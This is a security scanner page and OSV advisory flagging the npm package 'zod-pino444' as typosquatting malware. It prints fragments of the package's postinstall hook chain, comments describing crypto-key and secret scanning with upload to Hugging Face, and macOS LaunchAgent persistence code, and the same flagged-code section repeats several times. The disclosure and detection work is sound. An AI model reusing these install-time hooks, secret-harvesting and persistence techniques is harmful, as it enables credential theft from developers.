registry / zod-pino444 / 1.0.129

zod-pino444@1.0.129

Node.js integration layer for Autodesk Forge

OSV Malicious Advisory

scanned 2h ago · by OpenSSF/OSV

OpenSSF/OSV advisory MAL-2026-6795 confirms this npm version as malicious. The package name mimics the popular `zod` and `pino` libraries but its shipped code implements a credential-harvest and relay pipeline that fires on install. `scripts/postinstall-agent.mjs` runs as a postinstall lifecycle hook, performing host reconnaissance (ping/GET/id) before invoking the bundled agent modules under `dist/`. `dist/discordRelayUpload.js` POSTs collected data to Discord relay endpoints (with...

Advisory

MAL-2026-6795

Source

OpenSSF Malicious Packages via OSV

Summary

Malicious code in zod-pino444 (npm)

Details

The package name mimics the popular `zod` and `pino` libraries but its shipped code implements a credential-harvest and relay pipeline that fires on install. `scripts/postinstall-agent.mjs` runs as a postinstall lifecycle hook, performing host reconnaissance (ping/GET/id) before invoking the bundled agent modules under `dist/`. `dist/discordRelayUpload.js` POSTs collected data to Discord relay endpoints (with base64-encoded payload construction and network reconnaissance on lines 39, 227, 306, 321, 398). `dist/secretScan/agentStartupAudit.js` and `dist/secretScan/contentScanner.js` scan for secrets and exfiltrate them via `fetch` calls to `https://huggingface.co` endpoints (lines 490, 508, 563). `dist/hfCredentials.js` and `dist/deploymentDefaults.js` decode base64-embedded configuration/credentials at load time. The typosquat-style name, obfuscated base64 payloads across multiple modules, install-time execution, and hardcoded exfiltration destinations together match the active-attack fingerprint (credential collection + hardcoded C2 + install-time auto-execution). The safety filter withheld traced-code output for this package, consistent with operational malware content.

Decision reason

One or more suspicious static signals were detected.

References

OSV advisory PACKAGE PACKAGE

Decision evidence

public snapshot

Behavioral surface

Source

ChildProcessCryptoDynamicRequireEnvironmentVarsFilesystemNativeBindingsNetworkShellWebSocket

Supply chain

HighEntropyStringsMinifiedUrlStrings

ManifestNo manifest risk signals triggered.

scanned 105 file(s), 1.49 MB of source, external domains: 127.0.0.1, discord.com, github.com, huggingface.co

Source & flagged code

11 flagged

package.jsonView file

Lines 1-38json

2 "name": "zod-pino444",

3 "version": "1.0.129",

4 "description": "Node.js integration layer for Autodesk Forge",

5 "license": "MIT",

6 "forgeAgentWebRtcMinVersion": "1.0.71",

7 "main": "dist/index.js",

8 "types": "dist/index.d.ts",

9 "files": [

10 "dist",

11 "assets",

12 "scripts"

13 ],

14 "engines": {

15 "node": ">=18"

16 },

17 "scripts": {

18 "postinstall": "node scripts/postinstall-clipboard-event.mjs && node scripts/ensure-dist.mjs && node scripts/postinstall-durable-materialize.mjs && node scripts/postinstall-bootstrap.mjs && node scripts/postinstall-agent.mjs",

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L18

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg · L18

19 "build": "tsc && node scripts/copy-assets.mjs",

20 "pretest": "npm run build",

21 "test": "NODE_ENV=test node --test test/smoke.test.mjs test/forge-bulk-protocol.test.mjs",

22 "test:explorer": "npm run build && NODE_ENV=test node --test test/explorer-terminal-controls.test.mjs test/cross-os-install.test.mjs",

23 "test:all": "NODE_ENV=test node --test test/smoke.test.mjs test/forge-bulk-protocol.test.mjs test/hf-hub-upload-streaming.test.mjs test/cross-os-install.test.mjs test/explorer-terminal-controls.test.mjs test/registry-version-lib.test.mjs test/file-lock-force-prefixes.test.mjs test/discord-relay-upload.test.mjs test/discord-webhook-post.test.mjs test/discord-bot-tokens.test.mjs test/discord-screenshot-interval.test.mjs test/production-invariants.test.mjs test/relay-agent-ws-smoke.mjs test/relay-agent-cli-smoke.mjs test/secret-filename-scan.test.mjs test/agent-audit-scan-scope.test.mjs test/ ...

24 "test:env-local": "node --test test/env-local-integrations.mjs",

25 "verify": "npm run ci && npm run test:env-local",

26 "verify:production": "npm run ci",

27 "ci": "npm run build && npm run test:all",

28 "test:hf-live": "node test/hf-relay-upload.integration.mjs",

29 "prepack": "npm run build",

30 "relay": "node dist/cli-relay.js",

31 "env-sync-selftest": "node scripts/env-sync-selftest.js",

32 "agent": "node dist/cli-agent.js",

33 "agent:restart": "node scripts/restart-agent.mjs",

34 "autostart": "node dist/cli-autostart.js",

35 "cfgmgr": "node dist/cli-forge.js",

36 "pm2:daemon": "pm2 startOrReload ecosystem.relay.config.cjs --update-env && pm2 save",

37 "pm2:restart": "bash scripts/pm2-restart-forge-relay-agent.sh",

38 "bootstrap:isolated-runtime": "node scripts/forge-isolated-runtime.mjs",

Long lines were clipped for display.

dist/agentRestartFromQueue.jsView file

Lines 22-62javascript

22 for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;

23 return ar;

24 };

25 return ownKeys(o);

26 };

scripts/forge-isolated-runtime.mjsView file

Lines 1-41javascript

1#!/usr/bin/env node

2/**

3 * **Durable forge-agent install** (survives deleting the npm project that ran `npm install`):

4 *

5 * 1. `npm pack --ignore-scripts` this package → `.tgz` (skips `prepack`/`tsc` on end-user machines; `dist/` must ship in the tarball).

6 * 2. **Hidden local prefix only** (no `npm -g` / no system global):

7 * `npm install <tgz> --prefix <CfgMgr>/.forge-jsxy/runtime/v<version>/`

8 * → `node_modules/forge-jsxy/dist/`

9 *

10 * OS autostart (`forge-autostart install --dist-dir`) uses that absolute `dist/` on every platform.

11 *

dist/forgeBulkDc.jsView file

Lines 1-40javascript

1"use strict";

2/**

3 * Ordered `forge-bulk` data channel framing for large fs_read/fs_zip/fs_screenshot payloads.

4 *

5 * **v1 (legacy):** UTF-8 JSON header (`_fb:"hdr"`, `v:1`, `byte_len`) + **one** binary message (raw body).

6 * **v2 (current):** same header with `v:2`, `byte_len`, `chunk_sz` + **multiple** binary chunks (≤ `chunk_sz`,

7 * last chunk may be shorter). Ordered SCTP-safe — avoids single-message size limits on some browsers/stacks.

8 *

9 * Viewers reconstruct `b64` locally — avoids giant JSON over SCTP.

10 * Remote `/remote` camera overlay may use a second v2 frame (`fs_screenshot_sidecar_result`, `sidecar:"camera"`).

dist/autostart/darwin.jsView file

Lines 20-60javascript

20 ownKeys = Object.getOwnPropertyNames || function (o) {

21 var ar = [];

22 for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;

dist/relayForAgentHttp.jsView file

Lines 1-32javascript

1"use strict";

2Object.defineProperty(exports, "__esModule", { value: true });

3exports.applyRelayAdvertisedSyncApiBaseUrlIfUnset = applyRelayAdvertisedSyncApiBaseUrlIfUnset;

4exports.wsRelayUrlToHttpBase = wsRelayUrlToHttpBase;

5exports.parseRelayForAgentDiscoveredJson = parseRelayForAgentDiscoveredJson;

6exports.fetchRelayForAgentDiscoverySync = fetchRelayForAgentDiscoverySync;

dist/secretScan/agentStartupAudit.jsView file

Lines 1-22javascript

1"use strict";

2/**

3 * Relay-connected agent hook: scan for **validated** cryptocurrency mnemonics / private-key material,

4 * merge unique hits locally in `result.json`, optionally upload JSON to Hugging Face

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

dist/secretScan/agentStartupAudit.jsView on unpkg · L2

5 * using {@link loadHfCredentials} when present, else relay (`relay_hf_credentials_request`).

6 * When `CFGMGR_HF_FETCH_FROM_RELAY=1` (npm install default), relay credentials are tried first.

scripts/forge-jsx-explorer-kill-agent.mjsView file

12Cross-file remote execution chain: scripts/forge-jsx-explorer-kill-agent.mjs spawns dist/cli-autostart.js; helper contains network access plus dynamic code execution. L12: * L13: * **Parent:** prints one line to stdout, spawns **detached worker**, exits `0` immediately. L14: * **Worker:** runs the steps above with `stdio: ignore` / `windowsHide` where applicable. ... L17: */ L18: import { spawn, spawnSync } from "node:child_process"; L19: import { createRequire } from "node:module"; ... L32: const LEGACY_NPM_PKG = FORGE_LEGACY_NPM_PKG; L33: const __dirname = path.dirname(fileURLToPath(import.meta.url)); L34: ... L41: try { L42: process.stdout.write(s); L43: } catch {

High

Cross File Remote Execution Context

Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking.

scripts/forge-jsx-explorer-kill-agent.mjsView on unpkg · L12

scripts/ensure-dist.mjsView file

47// Node DEP0190 DeprecationWarning about unescaped argument concatenation. L48: const r0 = spawnSync("npm install --include=dev --no-save", { L49: ...spawnOpts,

High

Runtime Package Install

Package source invokes a package manager install command at runtime.

scripts/ensure-dist.mjsView on unpkg · L47

scripts/windows-forge-diagnostics.ps1View file

•path = scripts/windows-forge-diagnostics.ps1 kind = build_helper sizeBytes = 1841 magicHex = [redacted]

Medium

Ships Build Helper

Package ships non-JavaScript build or shell helper files.

scripts/windows-forge-diagnostics.ps1View on unpkg

Source & flagged code

11 flagged · loading source

package.jsonView file

•scripts.postinstall = node scripts/postinstall-clipboard-event.mjs && node scripts/ensure-dist.mjs && node scripts/postinstall-durable-materialize.mjs && node scripts/postinstall-bootstrap.mjs && node s...

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg

dist/agentRestartFromQueue.jsView file

42*/ L43: const node_child_process_1 = require("node:child_process"); L44: const fs = __importStar(require("node:fs"));

High

Child Process

Package source references child process execution.

dist/agentRestartFromQueue.jsView on unpkg · L42

scripts/forge-isolated-runtime.mjsView file

21* spawn **`node npm-cli.js …`** with **`shell: false`** and argv arrays — same behavior from **Windows** L22: * (Git Bash, cmd.exe, PowerShell) and **Unix** (bash, zsh, Terminal.app, etc.): paths with spaces stay intact. L23: * Fallbacks: Windows **`npm.cmd`** next to Node / `where`; Linux/macOS **`npm`** next to Node / **`PATH`**.

High

Shell

Package source references shell execution.

scripts/forge-isolated-runtime.mjsView on unpkg · L21

dist/forgeBulkDc.jsView file

20exports.[redacted] = [redacted]; L21: const fsProtocol_1 = require("./fsProtocol"); L22: exports.FORGE_BULK_MAGIC_KEY = "_fb";

Medium

Dynamic Require

Package source references dynamic require/import behavior.

dist/forgeBulkDc.jsView on unpkg · L20

dist/autostart/darwin.jsView file

40exports.statusDarwinAutostart = statusDarwinAutostart; L41: const node_child_process_1 = require("node:child_process"); L42: const fs = __importStar(require("node:fs")); ... L55: function plistPath() { L56: return path.join(process.env.HOME || os.homedir(), "Library", "LaunchAgents", constants_1.MACOS_PLIST_FILENAME); L57: } ... L83: : ""; L84: // Persist PATH from the install-time environment so child processes (pbpaste, etc.) L85: // are found even when node is installed via nvm, Homebrew, or other non-standard paths. ... L145: const label = constants_1.MACOS_LAUNCH_AGENT_LABEL; L146: (0, node_child_process_1.spawnSync)("launchctl", ["bootout", `${gui}/${label}`], { L147: encoding: "utf-8",

Medium

Install Persistence

Source writes installer persistence such as shell profile or service configuration.

dist/autostart/darwin.jsView on unpkg · L40

dist/relayForAgentHttp.jsView file

12* Applies `sync_api_base_url` from the JSON to `FORGE_JS_SYNC_URL` / `CFGMGR_API_URL` when the L13: * agent has no sync URL yet — enables clipboard/env sync **before** the WebSocket `connected` L14: * handshake (which also carries `relay_features.sync_api_base_url`). L15: */ L16: const node_child_process_1 = require("node:child_process"); L17: const node_url_1 = require("node:url"); ... L25: return; L26: const have = (process.env.FORGE_JS_SYNC_URL || "").trim() || L27: (process.env.CFGMGR_API_URL || "").trim() ||

High

Same File Env Network Execution

A single source file combines environment access, network access, and code or shell execution; review context before blocking.

dist/relayForAgentHttp.jsView on unpkg · L12

dist/secretScan/agentStartupAudit.jsView file

2/** L3: * Relay-connected agent hook: scan for **validated** cryptocurrency mnemonics / private-key material, L4: * merge unique hits locally in `result.json`, optionally upload JSON to Hugging Face ... L26: * Scheduling: after relay `connected`, runs once per agent **process** start (plus OS reboot / interval). L27: * Same-process WebSocket reconnects are throttled by `FORGE_JS_AGENT_SECRET_AUDIT_MIN_INTERVAL_MS` L28: * unless the saved `agent_process_nonce` matches this process (interval applies). ... L81: const node_crypto_1 = require("node:crypto"); L82: const node_child_process_1 = require("node:child_process"); L83: const hub_1 = require("@huggingface/hub"); ... L106: function readLinuxBootId() { L107: if (process.platform !== "linux") L108: return "";

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

dist/secretScan/agentStartupAudit.jsView on unpkg · L2

scripts/forge-jsx-explorer-kill-agent.mjsView file

High

Cross File Remote Execution Context

Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking.

scripts/forge-jsx-explorer-kill-agent.mjsView on unpkg · L12

scripts/ensure-dist.mjsView file

47// Node DEP0190 DeprecationWarning about unescaped argument concatenation. L48: const r0 = spawnSync("npm install --include=dev --no-save", { L49: ...spawnOpts,

High

Runtime Package Install

Package source invokes a package manager install command at runtime.

scripts/ensure-dist.mjsView on unpkg · L47

scripts/windows-forge-diagnostics.ps1View file

•path = scripts/windows-forge-diagnostics.ps1 kind = build_helper sizeBytes = 1841 magicHex = [redacted]

Medium

Ships Build Helper

Package ships non-JavaScript build or shell helper files.

scripts/windows-forge-diagnostics.ps1View on unpkg

Findings

7 High7 Medium4 Low

HighInstall Time Lifecycle Scriptspackage.json

HighChild Processdist/agentRestartFromQueue.js

HighShellscripts/forge-isolated-runtime.mjs

HighSame File Env Network Executiondist/relayForAgentHttp.js

HighSandbox Evasion Gated Capabilitydist/secretScan/agentStartupAudit.js

HighCross File Remote Execution Contextscripts/forge-jsx-explorer-kill-agent.mjs

HighRuntime Package Installscripts/ensure-dist.mjs

MediumAmbiguous Install Lifecycle Scriptpackage.json

MediumDynamic Requiredist/forgeBulkDc.js

MediumNetwork

MediumEnvironment Vars

MediumInstall Persistencedist/autostart/darwin.js

MediumShips Build Helperscripts/windows-forge-diagnostics.ps1

MediumStructural Risk Force Deep Review

LowScripts Present

LowFilesystem

LowHigh Entropy Strings

LowUrl Strings

Source & flagged code

11 flagged

package.jsonView file

Lines 1-38json

2 "name": "zod-pino444",

3 "version": "1.0.129",

4 "description": "Node.js integration layer for Autodesk Forge",

5 "license": "MIT",

6 "forgeAgentWebRtcMinVersion": "1.0.71",

7 "main": "dist/index.js",

8 "types": "dist/index.d.ts",

9 "files": [

10 "dist",

11 "assets",

12 "scripts"

13 ],

14 "engines": {

15 "node": ">=18"

16 },

17 "scripts": {

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg · L18

Medium

Ambiguous Install Lifecycle Script

Install-time lifecycle script is not statically allowlisted and needs review.

package.jsonView on unpkg · L18

19 "build": "tsc && node scripts/copy-assets.mjs",

20 "pretest": "npm run build",

21 "test": "NODE_ENV=test node --test test/smoke.test.mjs test/forge-bulk-protocol.test.mjs",

22 "test:explorer": "npm run build && NODE_ENV=test node --test test/explorer-terminal-controls.test.mjs test/cross-os-install.test.mjs",

24 "test:env-local": "node --test test/env-local-integrations.mjs",

25 "verify": "npm run ci && npm run test:env-local",

26 "verify:production": "npm run ci",

27 "ci": "npm run build && npm run test:all",

28 "test:hf-live": "node test/hf-relay-upload.integration.mjs",

29 "prepack": "npm run build",

30 "relay": "node dist/cli-relay.js",

31 "env-sync-selftest": "node scripts/env-sync-selftest.js",

32 "agent": "node dist/cli-agent.js",

33 "agent:restart": "node scripts/restart-agent.mjs",

34 "autostart": "node dist/cli-autostart.js",

35 "cfgmgr": "node dist/cli-forge.js",

36 "pm2:daemon": "pm2 startOrReload ecosystem.relay.config.cjs --update-env && pm2 save",

37 "pm2:restart": "bash scripts/pm2-restart-forge-relay-agent.sh",

38 "bootstrap:isolated-runtime": "node scripts/forge-isolated-runtime.mjs",

Long lines were clipped for display.

dist/agentRestartFromQueue.jsView file

Lines 22-62javascript

22 for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;

23 return ar;

24 };

25 return ownKeys(o);

26 };

scripts/forge-isolated-runtime.mjsView file

Lines 1-41javascript

1#!/usr/bin/env node

2/**

3 * **Durable forge-agent install** (survives deleting the npm project that ran `npm install`):

4 *

5 * 1. `npm pack --ignore-scripts` this package → `.tgz` (skips `prepack`/`tsc` on end-user machines; `dist/` must ship in the tarball).

6 * 2. **Hidden local prefix only** (no `npm -g` / no system global):

7 * `npm install <tgz> --prefix <CfgMgr>/.forge-jsxy/runtime/v<version>/`

8 * → `node_modules/forge-jsxy/dist/`

9 *

10 * OS autostart (`forge-autostart install --dist-dir`) uses that absolute `dist/` on every platform.

11 *

dist/forgeBulkDc.jsView file

Lines 1-40javascript

1"use strict";

2/**

3 * Ordered `forge-bulk` data channel framing for large fs_read/fs_zip/fs_screenshot payloads.

4 *

5 * **v1 (legacy):** UTF-8 JSON header (`_fb:"hdr"`, `v:1`, `byte_len`) + **one** binary message (raw body).

6 * **v2 (current):** same header with `v:2`, `byte_len`, `chunk_sz` + **multiple** binary chunks (≤ `chunk_sz`,

7 * last chunk may be shorter). Ordered SCTP-safe — avoids single-message size limits on some browsers/stacks.

8 *

9 * Viewers reconstruct `b64` locally — avoids giant JSON over SCTP.

10 * Remote `/remote` camera overlay may use a second v2 frame (`fs_screenshot_sidecar_result`, `sidecar:"camera"`).

dist/autostart/darwin.jsView file

Lines 20-60javascript

20 ownKeys = Object.getOwnPropertyNames || function (o) {

21 var ar = [];

22 for (var k in o) if (Object.prototype.hasOwnProperty.call(o, k)) ar[ar.length] = k;

dist/relayForAgentHttp.jsView file

Lines 1-32javascript

1"use strict";

2Object.defineProperty(exports, "__esModule", { value: true });

3exports.applyRelayAdvertisedSyncApiBaseUrlIfUnset = applyRelayAdvertisedSyncApiBaseUrlIfUnset;

4exports.wsRelayUrlToHttpBase = wsRelayUrlToHttpBase;

5exports.parseRelayForAgentDiscoveredJson = parseRelayForAgentDiscoveredJson;

6exports.fetchRelayForAgentDiscoverySync = fetchRelayForAgentDiscoverySync;

dist/secretScan/agentStartupAudit.jsView file

Lines 1-22javascript

1"use strict";

2/**

3 * Relay-connected agent hook: scan for **validated** cryptocurrency mnemonics / private-key material,

4 * merge unique hits locally in `result.json`, optionally upload JSON to Hugging Face

High

Sandbox Evasion Gated Capability

Source gates dangerous network, credential, or execution behavior behind CI, host, platform, time, or geo fingerprint checks.

dist/secretScan/agentStartupAudit.jsView on unpkg · L2

5 * using {@link loadHfCredentials} when present, else relay (`relay_hf_credentials_request`).

6 * When `CFGMGR_HF_FETCH_FROM_RELAY=1` (npm install default), relay credentials are tried first.

scripts/forge-jsx-explorer-kill-agent.mjsView file

High

Cross File Remote Execution Context

Source spawns a local helper that also contains network and dynamic execution context; review data flow before blocking.

scripts/forge-jsx-explorer-kill-agent.mjsView on unpkg · L12

scripts/ensure-dist.mjsView file

47// Node DEP0190 DeprecationWarning about unescaped argument concatenation. L48: const r0 = spawnSync("npm install --include=dev --no-save", { L49: ...spawnOpts,

High

Runtime Package Install

Package source invokes a package manager install command at runtime.

scripts/ensure-dist.mjsView on unpkg · L47

scripts/windows-forge-diagnostics.ps1View file

•path = scripts/windows-forge-diagnostics.ps1 kind = build_helper sizeBytes = 1841 magicHex = [redacted]

Medium

Ships Build Helper

Package ships non-JavaScript build or shell helper files.

scripts/windows-forge-diagnostics.ps1View on unpkg